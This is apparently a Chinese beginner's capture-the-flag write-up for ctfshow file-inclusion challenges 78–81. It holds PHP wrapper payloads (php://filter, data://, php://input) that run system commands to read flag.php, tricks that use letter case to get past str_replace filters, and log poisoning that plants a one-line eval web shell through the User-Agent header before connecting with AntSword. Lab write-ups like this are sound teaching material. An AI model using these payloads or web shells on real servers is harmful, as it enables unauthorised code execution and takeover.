ctfshow web 文件包含 78~81

#最近了解了一点伪协议相关知识,做几个文件包含的题目试试水好了,本次wp的题目依旧取自ctfshow,为新手向,81题后面的暂时不会做,先放着好了


既然关于文件包含嘛,跟伪协议当然分不开了啦,以下是我对常用伪协议(暂时只见过这些)的总结

  1. php://filter

    1. php://filter/convert.base64-encode/resource=flag.php

    2. php://filter/string.rot13/resource=flag.php

      php://filter/string.strip_tags/resource=flag.php

    3. UCS-4*

      UCS-4BE

      UCS-4LE*

      UCS-2

      UCS-2BE

      UCS-2LE

      UTF-32*

      UTF-32BE*

      UTF-32LE*

      UTF-16*

      UTF-16BE*

      UTF-16LE*

      UTF-7

      UTF7-IMAP

      UTF-8*

      ASCII*

      php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

      php://filter/convert.iconv.UTF-7.UCS-2/resource=flag.php

      php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

  2. data://text/plain

    1. data://text/plain

      [http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>]

    2. data://text/plain;base64

      [http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b]

  3. php://input(不能用hackbar,需要bp手动传)

    #http://127.0.0.1/cmd.php?cmd=php://input

    POST数据:<?php phpinfo();?>


  • web 78

    1. 首先试试?file=data://text/plain,<?php system("ls");?>

      请添加图片描述

      发现存在文件flag.php

      接着可以用?file=data://text/plain,<?php system("tac flag.php");?>直接读取flag(或者?file=php://filter/convert.base64-encode/resource=flag.php,不过得到结果需要base64解码哦)

      这里不用cat而是用tac是因为大概率被过滤掉了(已经试过了)

    2. bp抓包后使用php://input伪协议

      请添加图片描述

      也是可以拿到flag的(记得在accept前面加上Content-Type: application/x-www-form-urlencoded

    3. 我在别人的wp上发现还可以通过日志注入的做法(活到老学到老):

      首先确定web服务器,这里使用Wappalyzer

      请添加图片描述

      对于Apache,日志存放路径:/var/log/apache/access.log

      对于Ngnix,日志存放路径:/var/log/nginx/access.log/var/log/nginx/error.log

      这题可以看到是Ngnix

      接着构造payload:

      ?file=/var/log/nginx/access.log
      

      然后使用bp或者hackbar修改请求头,注入一句话木马

      User-Agent: <?php @eval($_POST['cmd']); ?>
      

      效果如下:

      请添加图片描述

      然后使用中国蚁剑连接

      请添加图片描述

      后续就很简单了,发现有一个flag.php,打开就可以看到flag

  • web 79

    不认识str_replace,上网查查

    查到,在PHP中,可以使用str_replace()函数来替换字符串中的一些字符。该函数区分大小写,并且可以对数组中的每个元素进行查找和替换,例如

    <?php
    echo str_replace("world", "Shanghai", "Hello world!"); // 输出: Hello Shanghai!
    
    ?>
    

    所以这题看来payload中不能出现php(好家伙,给我伪协议全ban了),但是刚刚才新学了日志注入,果然活到老学到老

    确认完是nginx,开始注入!

    请添加图片描述

    完美,接着导入数据

    请添加图片描述

    打开后里面就有flag.php,拿下flag

    当然,如果仍想使用伪协议,也是可以滴,并且很简单,比如构造payload:

    ?file=data://text/plain,<?Php system("ls");?>
    

    原理就是str_replace()函数区分大小写,所以可以用这种方法绕过,接着就可以轻松找到flag

    当然,还有很多方法,比如file=php://input什么的,我就不一一赘述了

  • web 80

    这题演都不演了,data也不能用,逼着用file=php://input

    原理同上一题,get参数里的php改一个为大写就可以了

    请添加图片描述

    依旧迅速找到flag位置,tac一下拿下flag

    当然,日志注入依旧可以用(日志注入超标

  • web 81

    emm,冒号也不给用了,但是关我日志注入什么事呢,诶嘿

    依旧熟悉的流程,快速复制粘贴式注入

    请添加图片描述

    然后导入中国蚁剑

    请添加图片描述

    这不就拿下了嘛,哼哼~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值